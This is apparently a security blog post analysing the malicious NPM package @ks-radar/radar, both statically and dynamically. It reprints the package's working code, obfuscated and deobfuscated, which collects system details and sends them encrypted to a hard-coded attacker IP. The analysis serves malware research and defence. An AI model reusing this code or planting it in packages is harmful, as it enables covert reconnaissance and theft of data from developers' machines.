Malware Analysis on “@ks-radar/radar/” NPM package

Muhammad Daffa
5 min readSep 6, 2023

Hi guys! In this post, I will attempt to conduct malware analysis on one of the NPM package called@ks-radar/radarusing both static analysis and dynamic analysis approaches. The malware I’m using is named @ks-radar/radar, and it seems that this NPM package has already been researched by the Phylum Team. However, I will conduct a more detailed analysis in this post.

Static Analysis

To obtain the source code of the package @ks-radar/radar by searching for the package on the socket.dev website. Usually, on this website, NPM packages that are detected as malware are not immediately removed, so we can still view the source code of the package we want to analyze.

Source code @ks-radar/radar

There is a package.json file and two JavaScript files, namely index.js and util.js. Here is the content of the util.js file:

/*
* Copyright(c) 2022-2023 Karen P. Evans
* MIT Licensed
*/

const crypto = require('crypto')

publicKey = `-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDhK7w+gS45FaIL88s+vmUClt/r
bTY6GAlh9grzFAr4W/4kVJgyfvg/IDZmVG8LeIym5fcjAR03YtjjxRi6pTzUBEls
GdJ7w6ThjHcDBjT7gpmnP4mU6LmA4tZBMVIr/A0vkTI+jb7ldzSjpDqXTrb7a5Ua
hcpguhuZZCfsRGkIAwIDAQAB
-----END PUBLIC KEY-----`

var encryptM = function msgEncrypt(data){
var resData = {
m:"",
k:"",
i:""
}

let key = crypto.randomBytes(16)
let iv = crypto.randomBytes(16)

var cipherChunks = []
var cipher = crypto.createCipheriv('aes-128-cbc', key, iv)
cipher.setAutoPadding(true)
cipherChunks.push(cipher.update(data, 'utf8', 'base64'))
cipherChunks.push(cipher.final('base64'))
resData.m = cipherChunks.join('')
resData.k = (crypto.publicEncrypt(publicKey, key)).toString('base64')
resData.i = iv.toString('base64')

return resData
}

module.exports = {encryptM:encryptM}

Inside the util.js file, there is a public key that is used to encrypt data.

publicKey = `-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDhK7w+gS45FaIL88s+vmUClt/r
bTY6GAlh9grzFAr4W/4kVJgyfvg/IDZmVG8LeIym5fcjAR03YtjjxRi6pTzUBEls
GdJ7w6ThjHcDBjT7gpmnP4mU6LmA4tZBMVIr/A0vkTI+jb7ldzSjpDqXTrb7a5Ua
hcpguhuZZCfsRGkIAwIDAQAB
-----END PUBLIC KEY-----`

Then, there is a function called msgEncrypt that is assigned to the variable encryptM. This function performs data encryption using AES-128-CBC with randomly generated key and initialization vector (IV). After encryption, it encodes the result using Base64 encoding.

var encryptM =  function msgEncrypt(data){
var resData = {
m:"",
k:"",
i:""
}

let key = crypto.randomBytes(16)
let iv = crypto.randomBytes(16)

var cipherChunks = []
var cipher = crypto.createCipheriv('aes-128-cbc', key, iv)
cipher.setAutoPadding(true)
cipherChunks.push(cipher.update(data, 'utf8', 'base64'))
cipherChunks.push(cipher.final('base64'))
resData.m = cipherChunks.join('')
resData.k = (crypto.publicEncrypt(publicKey, key)).toString('base64')
resData.i = iv.toString('base64')

return resData
}

And at the end of the util.js file, there is a module.exports statement to make the encryptM function available for use in the index.js file.

const _0x4d3404=_0x4705;(function(_0x3168a3,_0x5a8b34){const _0x5299bf=_0x4705,_0x2228d2=_0x3168a3();while(!![]){try{const _0xc78323=parseInt(_0x5299bf(0x1d6))/0x1+parseInt(_0x5299bf(0x1b6))/0x2+parseInt(_0x5299bf(0x1d0))/0x3*(-parseInt(_0x5299bf(0x1b5))/0x4)+parseInt(_0x5299bf(0x1c5))/0x5+parseInt(_0x5299bf(0x1cb))/0x6+-parseInt(_0x5299bf(0x1d5))/0x7+-parseInt(_0x5299bf(0x1d2))/0x8;if(_0xc78323===_0x5a8b34)break;else _0x2228d2['push'](_0x2228d2['shift']());}catch(_0x25ddab){_0x2228d2['push'](_0x2228d2['shift']());}}}(_0x429e,0xb6589));const https=require(_0x4d3404(0x1c6)),os=require('os'),crypto=require(_0x4d3404(0x1b7)),x=require('./util');var theNetworkInterfaces={};function _0x4705(_0x14d4cd,_0x3e52f9){const _0x429e24=_0x429e();return _0x4705=function(_0x4705ec,_0x3d262c){_0x4705ec=_0x4705ec-0x1b5;let _0x431351=_0x429e24[_0x4705ec];return _0x431351;},_0x4705(_0x14d4cd,_0x3e52f9);}for(var i=0x0;i<os['networkInterfaces']()[_0x4d3404(0x1ba)][_0x4d3404(0x1c3)];i++){os[_0x4d3404(0x1c9)]()['en0'][i][_0x4d3404(0x1c8)]==_0x4d3404(0x1cc)&&(theNetworkInterfaces=os['networkInterfaces']()[_0x4d3404(0x1ba)][i]);}var report={'arch':os[_0x4d3404(0x1bb)](),'endianness':os[_0x4d3404(0x1d7)](),'freemem':os[_0x4d3404(0x1c1)](),'homedir':os[_0x4d3404(0x1da)](),'hostname':os[_0x4d3404(0x1ce)](),'networkInterfaces':theNetworkInterfaces,'platform':os['platform'](),'release':os[_0x4d3404(0x1cf)](),'tmpdir':os['tmpdir'](),'totalmem':os['totalmem'](),'type':os[_0x4d3404(0x1d4)](),'uptime':os[_0x4d3404(0x1d8)](),'package':_0x4d3404(0x1d9)};report[_0x4d3404(0x1ce)][_0x4d3404(0x1c7)]('.')==-0x1&&(report[_0x4d3404(0x1cd)]!=_0x4d3404(0x1c4)&&process[_0x4d3404(0x1b8)](0x1));var data=JSON[_0x4d3404(0x1c0)](x[_0x4d3404(0x1bc)](JSON[_0x4d3404(0x1c0)](report)));const options={'hostname':_0x4d3404(0x1b9),'port':0x4325,'path':_0x4d3404(0x1bf),'method':_0x4d3404(0x1c2),'headers':{'Content-Type':'application/json','Content-Length':data[_0x4d3404(0x1c3)]}},req=https[_0x4d3404(0x1bd)](options,_0x162a7c=>{const _0x35ea4f=_0x4d3404;_0x162a7c['on'](_0x35ea4f(0x1d1),_0x11770c=>{const _0x29a939=_0x35ea4f;process[_0x29a939(0x1be)]['write'](_0x11770c);});});req['on'](_0x4d3404(0x1d3),_0x2e1ed6=>{return;}),req['write'](data),req[_0x4d3404(0x1ca)]();function _0x429e(){const _0x554aa8=['type','504294yoShSu','1315771KkVXpV','endianness','uptime','radar','homedir','32CiodJV','1913126bWcUfp','crypto','exit','81.70.191.194','en0','arch','encryptM','request','stdout','/healthy','stringify','freemem','POST','length','darwin','578955CgKqqx','http','indexOf','family','networkInterfaces','end','6269418aIibaC','IPv4','platform','hostname','release','128163azAaUF','data','18178632kWdHcB','error'];_0x429e=function(){return _0x554aa8;};return _0x429e();}

It turns out that inside the index.js file is obfuscated Node.js code. To read its source code, what needs to be done is to deobfuscate the source code. I deobfuscated it manually by modifying some variables, removing functions that were not needed, and so on. As a result, after I deobfuscated it, the source code looks like this.

const https = require('http'),
os = require('os'),
crypto = require('crypto'),
x = require('./util');
var theNetworkInterfaces = {};

for (var i = 0; i < os['networkInterfaces']()["en0"]["length"]; i++) {
os["networkInterfaces"]()['en0'][i]["family"] == "IPv4" && (theNetworkInterfaces = os['networkInterfaces']()["en0"][i]);
}

var report = {
'arch': os["arch"](),
'endianness': os["endianness"](),
'freemem': os["freemem"](),
'homedir': os["homedir"](),
'hostname': os["hostname"](),
'networkInterfaces': theNetworkInterfaces,
'platform': os['platform'](),
'release': os["release"](),
'tmpdir': os['tmpdir'](),
'totalmem': os['totalmem'](),
'type': os["type"](),
'uptime': os["uptime"](),
'package': radar
};

report['hostname']['indexOf']('.') == -1 && (report['platform'] != 'darwin' && process['exit'](1));
var data = JSON['stringify'](x['encryptM'](JSON['stringify'](report)));
const options = {
'hostname': '81.70.191.194',
'port': 17189,
'path': '/healthy',
'method': 'POST',
'headers': {
'Content-Type': 'application/json',
'Content-Length': data['length']
}
},
req = https['request'](options, _0x162a7c => {
_0x162a7c['on'](data, _0x11770c => {
process['stdout']['write'](_0x11770c);
});
});
req['on'](error, _0x2e1ed6 => {
return;
}), req['write'](data), req['end']();

It begins with importing several modules, including the util.js file and a variable named theNetworkInterfaces.

const https = require('http'),
os = require('os'),
crypto = require('crypto'),
x = require('./util');
var theNetworkInterfaces = {};

There is a loop function used to search for IP addresses within the en0 interface, which is then stored in the previously initialized variable theNetworkInterfaces.

for (var i = 0; i < os['networkInterfaces']()["en0"]["length"]; i++) {
os["networkInterfaces"]()['en0'][i]["family"] == "IPv4" && (theNetworkInterfaces = os['networkInterfaces']()["en0"][i]);
}

The code initializes a new variable named report, which contains system-related data such as:

  • architecure
  • endianness
  • free memory
  • hostname
  • interface network
  • etc.
var report = {
'arch': os["arch"](),
'endianness': os["endianness"](),
'freemem': os["freemem"](),
'homedir': os["homedir"](),
'hostname': os["hostname"](),
'networkInterfaces': theNetworkInterfaces,
'platform': os['platform'](),
'release': os["release"](),
'tmpdir': os['tmpdir'](),
'totalmem': os['totalmem'](),
'type': os["type"](),
'uptime': os["uptime"](),
'package': radar
};

The code will perform a check to determine whether the system using this package is macOS or not. If it’s not macOS, the program will terminate. Additionally, it will convert the report object into a JSON string and encrypt it using the encryptM function.

report['hostname']['indexOf']('.') == -1 && (report['platform'] != 'darwin' && process['exit'](1));
var data = JSON['stringify'](x['encryptM'](JSON['stringify'](report)));

Finally, the program will make an HTTP request to 81.70.191.194:17189/healthy using the POST method. The body of the request will contain the system data that was encrypted earlier.

const options = {
'hostname': '81.70.191.194',
'port': 17189,
'path': '/healthy',
'method': 'POST',
'headers': {
'Content-Type': 'application/json',
'Content-Length': data['length']
}
},
req = https['request'](options, _0x162a7c => {
_0x162a7c['on'](data, _0x11770c => {
process['stdout']['write'](_0x11770c);
});
});
req['on'](error, _0x2e1ed6 => {
return;
}), req['write'](data), req['end']();

Dynamic Analysis

To perform dynamic analysis, you will need a MacBook (as the code is designed to stop if it’s not a MacBook), and you will need to install Node.js on your MacBook.

The first thing I did to perform dynamic analysis was to change the attacker’s IP and port to my own server’s IP and port (In this case, I only changed the IP).

const options = {
'hostname': '178.128.121.125',
'port': 17189,
'path': '/healthy',
'method': 'POST',
...

Because encryption is performed using AES-128-CBC with a randomly generated key and initialization vector (IV), I added 2 lines of code to the util.js file to display the key and IV that have been encoded using Base64 encoding.

console.log(key.toString("base64"));
console.log(iv.toString("base64"));

And finally, running the command nc -nvlp 17189 on our server and executing the index.js file using the command.

node index.js

Check the response from our server, and you will see an HTTP request as shown in the image below.

HTTP Request

In the next step, I will use CyberChef to decrypt the data obtained using AES-128-CBC encryption and Base64. In the Key and IV sections, enter the Key and IV obtained in the macOS terminal when running the malware.

Decrypting the encrypted data

There is some data being sent, such as architecture type, memory information, hostname, etc.

Thank you for reading this medium post and I hope this post is beneficial for malware researchers who are conducting malware analysis on NPM packages

--

--

Muhammad Daffa

ID/EN. Write anything related to cyber security (Bug Bounty, Penenetration Testing, Malware Analysis, etc.)